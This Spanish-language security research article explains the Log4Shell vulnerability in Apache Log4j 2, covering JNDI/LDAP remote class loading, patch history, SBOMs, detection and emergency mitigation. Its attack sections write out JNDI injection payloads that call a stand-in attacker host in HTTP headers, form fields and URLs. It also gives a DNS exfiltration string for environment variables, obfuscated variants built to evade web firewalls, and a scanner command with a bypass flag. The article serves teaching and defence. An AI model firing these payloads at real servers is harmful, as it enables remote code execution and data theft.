AvanzadovulnerabilidadesCVEjavalog4jdeserialization

Log4Shell: La Librería que Rompió Internet (2021)

CVE-2021-44228 (Log4Shell) en Apache Log4j 2 permitía ejecución remota de código mediante una cadena de texto en un mensaje de log. CVSS 10.0, presente en millones de aplicaciones Java como dependencia transitiva. Este artículo analiza la vulnerabilidad en profundidad: JNDI, LDAP class loading, bypasses de ofuscación, parches incompletos y por qué el SBOM se convirtió en necesidad.

MalwareIntel Research··15 min lectura·2 técnicas ATT&CK

La cadena que rompió todo

El 9 de diciembre de 2021, el equipo de seguridad cloud de Alibaba reportó públicamente una vulnerabilidad en Apache Log4j 2 que cambiaría la forma en que la industria entiende el riesgo de las dependencias de software. CVE-2021-44228, bautizada como Log4Shell, permitía ejecutar código arbitrario en cualquier aplicación Java que usara Log4j 2 para procesar un mensaje de log que contuviera una cadena controlada por el atacante.

El CVSS fue 10.0. El exploit cabía en un tweet. Y Log4j 2 estaba en todas partes.

Este artículo analiza la vulnerabilidad desde la perspectiva técnica: cómo funciona JNDI, por qué las message lookups de Log4j eran peligrosas, las técnicas de ofuscación que evadían WAFs, los parches incompletos que prolongaron la crisis, y por qué Log4Shell convirtió el SBOM (Software Bill of Materials) de concepto teórico a necesidad práctica. Para el contexto histórico y el impacto global del evento, consulta nuestro artículo en la serie Historia del Malware.

JNDI: la funcionalidad que se convirtió en arma

¿Qué es JNDI?

Java Naming and Directory Interface (JNDI) es una API estándar de Java que permite a las aplicaciones interactuar con servicios de nombres y directorios. En términos simples, JNDI es un mecanismo de búsqueda: la aplicación proporciona un nombre y JNDI devuelve un objeto.

Los protocolos de directorio soportados incluyen:

  • LDAP (Lightweight Directory Access Protocol): El más comúnmente usado en entornos corporativos para autenticación y búsqueda de usuarios en Active Directory.
  • RMI (Remote Method Invocation): Protocolo de Java para invocar métodos en objetos remotos.
  • DNS (Domain Name System): Resolución de nombres de dominio.
  • CORBA (Common Object Request Broker Architecture): Protocolo de objetos distribuidos (legacy).

JNDI se usa legítimamente para tareas como buscar un DataSource de base de datos configurado en un servidor de aplicaciones, resolver nombres de recursos en LDAP, o localizar servicios remotos.

JNDI + LDAP = carga remota de clases

El mecanismo que hace peligroso a JNDI en el contexto de Log4Shell es la capacidad de LDAP de devolver referencias a clases Java remotas. Cuando una aplicación Java realiza una consulta JNDI-LDAP y el servidor LDAP responde con un atributo javaCodeBase que apunta a un servidor HTTP, el runtime de Java descarga la clase desde esa URL y la instancia localmente.

Aplicación Java                Servidor LDAP              Servidor HTTP
      │                        (del atacante)             (del atacante)
      │                              │                          │
      │── JNDI lookup ────────────→ │                          │
      │   ldap://atacante/a         │                          │
      │                              │                          │
      │←── LDAP response ───────────│                          │
      │   javaCodeBase:              │                          │
      │   http://atacante/Exploit    │                          │
      │   javaFactory: Exploit       │                          │
      │                              │                          │
      │── HTTP GET ────────────────────────────────────────→  │
      │   http://atacante/Exploit.class                        │
      │                                                        │
      │←── Clase Java ─────────────────────────────────────── │
      │   (código arbitrario)                                  │
      │                                                        │
      │ [Java instancia la clase]                              │
      │ [Código del atacante ejecuta]                          │

Esta funcionalidad fue diseñada para casos de uso legítimos en sistemas distribuidos Java. Pero combinada con la capacidad de un atacante de inyectar una referencia JNDI en un mensaje de log, se convierte en un mecanismo de RCE trivial.

Restricciones en versiones modernas de Java

A partir de Java 8u191 (octubre 2018), Oracle desactivó por defecto la carga remota de clases vía LDAP estableciendo com.sun.jndi.ldap.object.trustURLCodebase = false. Esto significaba que en versiones recientes de Java, la cadena de ataque directa (LDAP → descarga de clase → RCE) no funcionaba sin configuración adicional.

Sin embargo, los atacantes encontraron bypasses usando:

Serialización/deserialización: En lugar de una referencia a clase remota, el servidor LDAP devolvía un objeto Java serializado. Si el classpath de la aplicación contenía "gadget chains" (clases con métodos peligrosos durante la deserialización, como las presentes en Apache Commons Collections, Spring, o Groovy), el atacante podía lograr RCE sin cargar clases remotas.

RMI como protocolo alternativo: ${jndi:rmi://atacante/a} usaba RMI en lugar de LDAP, y algunas versiones de Java tenían políticas de seguridad diferentes para cada protocolo.

DNS para exfiltración: ${jndi:dns://atacante/${env:USER}} no proporcionaba RCE directamente, pero permitía exfiltrar información del servidor (variables de entorno, hostname, versiones de software) mediante consultas DNS.

Las message lookups de Log4j

La funcionalidad que nadie cuestionó

Log4j 2 incluía una funcionalidad llamada "message lookups" que permitía resolver variables dentro de los mensajes de log. La sintaxis era ${prefix:name}, donde el prefijo determinaba el tipo de lookup:

// El desarrollador escribe esto:
logger.info("Usuario conectado: {}", username);

// Si username = "${jndi:ldap://atacante.com/a}"
// Log4j resuelve la lookup ANTES de escribir el log
// → Ejecuta la consulta JNDI
// → RCE

Los prefijos soportados incluían:

PrefijoFunciónEjemplo
jndiConsulta JNDI${jndi:ldap://host/a}
envVariable de entorno${env:PATH}
sysPropiedad del sistema${sys:java.version}
lowerConvertir a minúsculas${lower:ABC}abc
upperConvertir a mayúsculas${upper:abc}ABC
dateFecha actual${date:yyyy-MM-dd}
ctxThread Context Map${ctx:userId}

La intención original era permitir enriquecer los mensajes de log con información contextual. El problema es que esta resolución de lookups se aplicaba a cualquier string procesada por Log4j como mensaje de log, incluyendo datos proporcionados por el usuario.

El vector de ataque

Cualquier dato controlado por el usuario que acabara siendo procesado por Log4j como mensaje de log podía desencadenar la vulnerabilidad:

Cabeceras HTTP: User-Agent, X-Forwarded-For, Referer, Accept-Language. Muchas aplicaciones logean estas cabeceras para análisis o debugging.

GET / HTTP/1.1
Host: vulnerable.com
User-Agent: ${jndi:ldap://atacante.com/exploit}

Campos de formulario: Nombres de usuario, campos de búsqueda, cualquier input que genere un mensaje de log.

POST /login HTTP/1.1
username=${jndi:ldap://atacante.com/exploit}&password=anything

Parámetros de URL: Query strings, path parameters.

GET /search?q=${jndi:ldap://atacante.com/exploit} HTTP/1.1

Mensajes de protocolo: Nombres de cliente en protocolos como SMTP, IRC, o (famosamente) en mensajes de chat de Minecraft.

La superficie de ataque era virtualmente cualquier entrada que pudiera llegar a una sentencia de log.

Ofuscación: la pesadilla de los WAFs

Lookups anidadas

La capacidad de Log4j de resolver lookups de forma recursiva y anidada proporcionó a los atacantes un arsenal de técnicas de ofuscación que hacían imposible la detección basada en patrones de texto:

Lower/Upper case manipulation:

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://atacante.com/a}

Resultado tras resolución: ${jndi:ldap://atacante.com/a}

Default value substitution:

${${::-j}${::-n}${::-d}${::-i}:ldap://atacante.com/a}

La lookup ${::-j} usa el operador de default value (:-) con nombre vacío, devolviendo j.

Environment variable con fallback:

${${env:INEXISTENTE:-j}ndi:ldap://atacante.com/a}

La variable INEXISTENTE no existe, así que devuelve el default j.

Combinaciones multinivel:

${${lower:${lower:jndi}}:${lower:ldap}://atacante.com/a}

Unicode y encoding tricks:

${jndi:ldap://atacante.com/a}
${j${::-n}di:ldap://atacante.com/a}
${jn${env::-}di:ldap://atacante.com/a}

Por qué los WAFs fallaron

Las reglas de WAF tradicionales se basan en la detección de patrones conocidos: firmas de texto que coinciden con payloads maliciosos. Para Log4Shell, la regla obvia era bloquear peticiones que contuvieran ${jndi:.

Pero las lookups anidadas hacían que el texto literal jndi nunca apareciera de forma contigua en el payload. Un WAF habría necesitado implementar un parser completo de la sintaxis de lookups de Log4j para detectar todas las variantes posibles, lo cual era computacionalmente prohibitivo y semánticamente equivalente a ejecutar Log4j.

El repositorio de GitHub de bypasses conocidos creció rápidamente hasta incluir docenas de variantes. Cada vez que un vendor de WAF publicaba una nueva regla, los atacantes encontraban una nueva combinación de lookups que la evadía.

Los parches que no fueron suficientes

Log4j 2.15.0 (6 de diciembre de 2021)

La primera corrección desactivaba las lookups en mensajes de log por defecto y restringía los protocolos JNDI permitidos. Sin embargo:

  • Las lookups seguían funcionando en Thread Context Map patterns (%X, %mdc, %MDC).
  • JNDI podía reactivarse mediante configuración.
  • La restricción de hosts LDAP podía evadirse usando la técnica del fragmento URI (#) que engañaba a java.net.URI.getHost().

Resultado: CVE-2021-45046 (CVSS reclasificado a 9.0 tras descubrirse que era RCE, no solo DoS).

Log4j 2.16.0 (13 de diciembre de 2021)

La segunda corrección eliminó completamente el soporte de message lookups y desactivó JNDI por defecto. Fue un cambio más agresivo: la funcionalidad de lookups en mensajes se eliminó, no se desactivó.

Sin embargo, un investigador descubrió que la resolución de lookups seguía siendo recursiva en ciertos contextos, y un payload especialmente construido podía causar un stack overflow (recursión infinita).

Resultado: CVE-2021-45105 (CVSS 5.9, denegación de servicio).

Log4j 2.17.0 (17 de diciembre de 2021)

La tercera corrección limitó la recursión de lookups y fue considerada la primera versión verdaderamente segura. Pero la historia no terminó ahí.

Log4j 2.17.1 (28 de diciembre de 2021)

Se descubrió CVE-2021-44832: si un atacante podía modificar el archivo de configuración de Log4j (un requisito más difícil de cumplir, pero posible en ciertos escenarios), podía inyectar un JDBC Appender con un data source JNDI que resultaba en RCE.

La línea temporal del caos

9 dic  → Divulgación de CVE-2021-44228
         Log4j 2.15.0 disponible

13 dic → CVE-2021-45046 descubierto (bypass de 2.15.0)
         Log4j 2.16.0 disponible

17 dic → CVE-2021-45105 descubierto (DoS en 2.16.0)
         Log4j 2.17.0 disponible

28 dic → CVE-2021-44832 descubierto (RCE via config)
         Log4j 2.17.1 disponible

Cuatro CVEs en 19 días. Cada parche generaba un nuevo vector de ataque. Las organizaciones que habían desplegado 2.15.0 el día de la divulgación tuvieron que parchear tres veces más en menos de tres semanas.

El problema de las dependencias transitivas

El JAR dentro del JAR

Java empaqueta las aplicaciones y librerías en archivos JAR (Java ARchive). Un JAR puede contener otros JARs como dependencias. Log4j 2 podía estar presente como:

  1. Dependencia directa: El pom.xml o build.gradle de la aplicación incluía explícitamente log4j-core.
  2. Dependencia transitiva de primer nivel: La aplicación dependía de Apache Kafka, que dependía de Log4j 2.
  3. Dependencia transitiva de segundo nivel (o más): La aplicación dependía de Spring Boot, que incluía un starter que incluía una librería que incluía Log4j 2.
  4. Empaquetada dentro de un uber-JAR/fat-JAR: Log4j 2 estaba incluida como clases dentro del JAR principal de la aplicación, sin ser un JAR separado visible.
  5. Dentro de una imagen Docker: La aplicación se ejecutaba en un contenedor cuya imagen base incluía Log4j 2 en alguna capa.

La escala del problema

Investigadores de Google estimaron que más de 35.000 paquetes Java en Maven Central (el repositorio principal de Java) dependían de Log4j 2 directa o transitivamente. Esto representaba aproximadamente el 8% de todos los paquetes de Maven Central.

Pero el número de paquetes era solo la punta del iceberg. Cada paquete tenía múltiples versiones, cada versión podía estar desplegada en miles de organizaciones, y cada organización podía tener docenas o cientos de aplicaciones que usaban el paquete.

La estimación global fue que cientos de millones de instancias de Log4j 2 estaban en producción en el momento de la divulgación.

Por qué fue tan difícil encontrar Log4j

Para una organización que necesitaba determinar si estaba afectada, el desafío era:

No bastaba con buscar en el código fuente. Si el código no importaba Log4j directamente, no aparecería en una búsqueda de texto. Pero podía estar presente como dependencia transitiva.

No bastaba con revisar los manifiestos de dependencias. Un pom.xml que dependía de spring-boot-starter no mencionaba Log4j, pero la incluía transitivamente.

Los binarios de producción no siempre coincidían con el código fuente. Las aplicaciones legacy o construidas por terceros podían contener Log4j sin documentación.

Los contenedores Docker añadían capas de complejidad. Una imagen base de Java podía incluir Log4j en su classpath sin que el Dockerfile de la aplicación lo mencionara.

SBOM: de concepto a necesidad

Qué es un SBOM

Un Software Bill of Materials (SBOM) es un inventario completo y estructurado de todos los componentes que forman una pieza de software. Incluye:

  • Nombre y versión de cada componente.
  • Licencia de cada componente.
  • Dependencias directas y transitivas.
  • Hashes de verificación.
  • Información del proveedor.

Formatos estándar para SBOM incluyen CycloneDX (OWASP), SPDX (Linux Foundation) y SWID Tags (ISO/IEC 19770-2).

Log4Shell como punto de inflexión

Antes de Log4Shell, el SBOM era un concepto conocido en círculos de seguridad pero raramente implementado. La industria hablaba de "supply chain security" como algo abstracto. Log4Shell lo hizo concreto.

La pregunta que toda organización necesitaba responder el 10 de diciembre de 2021 era: "¿Usamos Log4j 2, y si es así, en qué versión y en qué aplicaciones?" Las organizaciones con SBOMs pudieron responder en minutos. Las que no los tenían tardaron días o semanas, escaneando binarios de producción con herramientas como log4j-scan, log4j-detector y scripts personalizados que buscaban la clase JndiLookup.class dentro de archivos JAR.

La orden ejecutiva 14028 del gobierno de EE.UU. sobre mejora de la ciberseguridad nacional (mayo de 2021, anterior a Log4Shell pero amplificada por ella) incluyó el requisito de SBOM para todo software vendido al gobierno federal. Log4Shell proporcionó el caso de uso definitivo para justificar esta exigencia.

Herramientas de generación de SBOM

# Generar SBOM de un proyecto Maven con CycloneDX
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom

# Analizar una imagen Docker con Syft
syft docker:nombre-imagen -o cyclonedx-json > sbom.json

# Buscar vulnerabilidades en el SBOM con Grype
grype sbom:sbom.json

# Buscar Log4j específicamente con log4j-scan
python log4j-scan.py -u https://target.com --waf-bypass

Detección y hunting

Indicadores en logs

La detección más directa era buscar patrones de lookup en los logs de acceso de servidores web y aplicaciones:

# Patrones base (necesarios pero insuficientes por ofuscación)
${jndi:ldap://
${jndi:rmi://
${jndi:dns://

# Patrones ofuscados comunes
${${lower:j}ndi:
${${::-j}${::-n}
${${env:
${${lower:${lower:

Indicadores de red

Las consultas JNDI salientes generaban tráfico de red detectable:

  • DNS queries inusuales: Si la aplicación no debía consultar dominios externos vía JNDI, cualquier consulta DNS a dominios no reconocidos desde el proceso Java era sospechosa.
  • Conexiones LDAP salientes: La aplicación conectando al puerto 389/636 de hosts externos era un indicador fuerte.
  • Descarga de archivos .class: Peticiones HTTP desde el proceso Java a servidores externos para descargar archivos .class.

Mitigación de emergencia sin parchear

Para organizaciones que no podían parchear inmediatamente, existían mitigaciones temporales:

# Opción 1: Eliminar la clase vulnerable del classpath
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

# Opción 2: Variable de entorno (funciona en 2.10.0+)
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

# Opción 3: Propiedad de sistema Java
-Dlog4j2.formatMsgNoLookups=true

La opción 1 (eliminar JndiLookup.class del JAR) era la más fiable porque funcionaba independientemente de la versión y no dependía de configuraciones que pudieran ser sobrescritas. Se convirtió en la mitigación recomendada por CISA para organizaciones que no podían actualizar Log4j inmediatamente.

El ecosistema de explotación

Línea temporal de explotación masiva

La explotación de Log4Shell siguió un patrón acelerado:

Horas 0-24 (9-10 diciembre): Escaneo masivo de Internet buscando aplicaciones vulnerables. Investigadores de seguridad y atacantes competían por identificar objetivos. Los primeros payloads eran mayoritariamente de reconocimiento (callbacks DNS para confirmar vulnerabilidad).

Días 2-7: Despliegue de cryptominers (XMRig fue el payload más común en la primera semana). Grupos de amenazas con acceso a infraestructura de minería de criptomonedas fueron los primeros en monetizar la vulnerabilidad a escala.

Semanas 2-4: APTs comenzaron a explotar Log4Shell en operaciones dirigidas. Grupos vinculados a China (Hafnium), Irán (Phosphorus), Corea del Norte (Lazarus) y Turquía fueron documentados por Microsoft y Mandiant.

Mes 2 en adelante: Grupos de ransomware incorporaron Log4Shell como vector de acceso inicial. Conti fue el primero documentado, seguido de Khonsari, NightSky y otros. La explotación se estabilizó pero continuó durante meses contra sistemas sin parchear.

Servicios afectados notables

La lista de productos y servicios que usaban versiones vulnerables de Log4j 2 incluía:

  • Apache: Struts, Solr, Druid, Flink
  • Elasticsearch / Logstash
  • VMware: vCenter, Horizon, NSX
  • Cisco: múltiples productos (más de 35 advisories)
  • IBM: WebSphere, Cognos, Maximo
  • Oracle: WebLogic, E-Business Suite
  • Minecraft: Java Edition (el vector de demostración que hizo viral la vulnerabilidad)
  • Servicios cloud: AWS, Azure, GCP publicaron advisories para sus servicios gestionados

Lecciones técnicas

Log4Shell dejó lecciones que trascienden una vulnerabilidad individual:

Las funcionalidades de conveniencia son superficie de ataque. Las message lookups de Log4j eran una funcionalidad de "nice to have" que la mayoría de usuarios no utilizaban. Pero estaba habilitada por defecto y procesaba datos no confiables. Cada funcionalidad activada por defecto es una superficie de ataque potencial.

Las dependencias transitivas son riesgo invisible. Si no sabes qué software ejecutas, no puedes protegerlo. El SBOM pasó de ser un requisito burocrático a una necesidad operativa de seguridad.

La detección basada en firmas tiene límites. La capacidad de ofuscación de Log4Shell demostró que los WAFs y los IDS basados en patrones son insuficientes contra vulnerabilidades que permiten codificación del payload. La defensa en profundidad (segmentación de red, restricción de tráfico saliente, sandboxing de aplicaciones) es necesaria.

Los parches complejos fallan. Cuatro CVEs en 19 días. El primer parche fue incompleto. El segundo también. La presión por publicar un fix rápido compitió con la necesidad de publicar un fix correcto. En emergencias, la mitigación temporal (eliminar JndiLookup.class) fue más fiable que los parches iniciales.

Log4Shell fue, en muchos sentidos, la vulnerabilidad que redefinió lo que significa gestionar dependencias de software. No porque fuera la primera de su tipo (Equifax fue comprometida en 2017 por una vulnerabilidad en Apache Struts que también era una dependencia), sino porque su escala, su trivialidad de explotación y la dificultad de remediación hicieron imposible seguir ignorando el problema.

Técnicas MITRE ATT&CK referenciadas

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.